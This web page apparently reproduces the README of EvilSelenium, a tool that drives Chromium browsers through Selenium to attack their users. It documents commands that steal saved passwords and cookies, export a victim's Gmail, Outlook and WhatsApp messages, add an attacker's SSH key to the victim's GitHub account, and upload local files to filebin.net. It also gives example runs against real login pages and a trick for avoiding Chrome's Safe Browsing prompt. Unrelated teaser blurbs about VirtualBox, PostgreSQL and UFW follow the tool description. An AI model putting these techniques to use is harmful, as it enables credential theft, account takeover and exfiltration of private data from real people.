EvilSelenium is a new project that weaponizes Selenium to abuse Chromium-based browsers. The current features right now are:
Or extend the existing functionality to suit your needs (e.g. Download files from the user’s GDrive/OneDrive).
EvilSelenium.exe /?
/help – Show this help menu.
SETUP:
/install – Install chromedriver & Selenium webdriver. Run this once.
GLOBAL: (accepted with every command)
/browserdir [appdata_local_routing] – Use custom browser, Input should be the routing inside %appdatalocal% dir (e.g. “Microsoft\Edge”)
RECON:
/enumsavedsites [out_path] – Check which websites have passwords saved via screenshot(s).
/screenshot [website] [out_path] – Screenshot a given webpage.
CREDENTIALS:
/autorun – Extract saved credentials from common websites.
/dynamicid [login_page] [username_id] [password_id] – Extract saved credentials from a website, providing the username field ID & password field ID.
/dynamicname [login_page] [username_name] [password_name] – Extract saved credentials from a website, providing the username field name value & password name value.
/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] – Extract saved credentials from a website, providing the username field name value, password name value and their positions.
COOKIES:
/cookies [website] – Grabs cookies for a given website.
MODULES:
/download [file_url] [seconds] – Downloads a file and specify time to wait for download to finish. File extensions should not be executable.
/exfil [local_file] [seconds] – Uploads a file on filebin.net and outputs the download link.
/gmail [out_path] [num_of_emails] – Fetches emails from mail.google.com if user is authenticated. Max 50 emails.
/outlook [out_path] [num_of_emails] – Fetches emails from Outlook if user is authenticated.
/o365 [out_path] [num_of_emails] – Fetches emails from O365 Outlook if user is authenticated.
/github [key] – Add your SSH key to Github if user is authenticated.
/whatsapp [out_path] – Fetches Whatsapp messages if user is authenticated (BETA).
The /install command will download the Chrome Driver and Selenium WebDriver which are the necessary requirements. EvilSelenium will work on Chrome versions 100-90.
Tested on Windows 10, Chrome v97 & v90.
EvilSelenium.exe /install
By default EvilSelenium will try to use Google Chrome’s User Data folder to retrieve data, but other Chromium based browsers are supported as well.
In order to use different Chrome based browsers you should add the /browserdir following the browser routing in the %localappdata% directory. Here are examples for a few common browsers (should be added to any CLI command):
/browserdir BraveSoftware\Brave-Browser/browserdir Microsoft\Edge/browserdir Vivaldi/enumsavedsites – This will take screenshots of chrome://settings/passwords
/screenshot – Screenshot any website. If the user is authenticated to the website then you get authenticated screenshots :).
IMPORTANT: The credentials module will DELETE COOKIES in order to steal credentials from autofill. Ideally, you should use the credentials module at the end if you want to export cookies.
/autorun – Prebuilt templates for common websites. I’ll continue to add more.
/dynamicid – Provide the login URL along with the username input field’s ID and password field’s ID. This is equivalent to document.getElementById().
/dynamicname – If the fields don’t have IDs, provide the fields’ name values. It will pick the first index of the name values. This is equivalent to document.getElementsByName()[0].value.
/dynamicname2 – Provide the fields’ name values along with their index position. This is equivalent to document.getElementsByName()[x].value where x is the provided position.
/cookies – Dumps cookies from the specified website.
These are additional modules I built to demonstrate what sort of actions you can do with Selenium.
/download – Download a file & specify time to wait for the download. A non-executable file extension should be appended to the file before downloading to avoid Chrome’s Safebrowsing prompt.
/exfil – Uploads a file on filebin.net & specify the time to wait for the upload to complete. Once the upload is completed the file’s download link is written.
/gmail – Fetches emails from mail.google.com if user is authenticated. Max 50 emails.
/outlook – Fetches emails from Outlook if user is authenticated.
/o365 – Fetches emails from O365 Outlook if user is authenticated.
/github – Add your SSH key to Github if user is authenticated.
/whatsapp – Fetches Whatsapp messages if user is authenticated (BETA).
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads
EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password
EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
VirtualBox is a free, open-source, cross-platform virtualization application maintained by Oracle. It lets you run multiple…
PostgreSQL (also called Postgres) is a free, open-source, object-relational database management system with a strong reputation…
VMware Workstation Player is a mature, stable virtualization platform that lets you run multiple isolated operating…
A properly configured firewall is one of the most important layers of security for any internet-facing server. UFW (Uncomplicated Firewall) is a user-friendly front-end for managing iptables rules that ships pre-installed on Ubuntu. Its defaults are sensible: block all incoming connections, allow all outgoing connections. No outside traffic reaches your server unless you explicitly open a port. This guide covers how to configure a UFW firewall on Ubuntu 18.04, from setting default policies and application profiles to writing allow and deny rules for specific ports, IPs, and subnets. <strong>Prerequisite:</strong> You need sudo access. Configure UFW Firewall on Ubuntu: Defaults, SSH, and Application Profiles If UFW is not installed, add it with: bashsudo…
UFW (Uncomplicated Firewall) is a user-friendly front-end for managing iptables rules on Ubuntu. It ships pre-installed…
Apache Cassandra is a free, open-source NoSQL database designed for high availability and linear scalability with…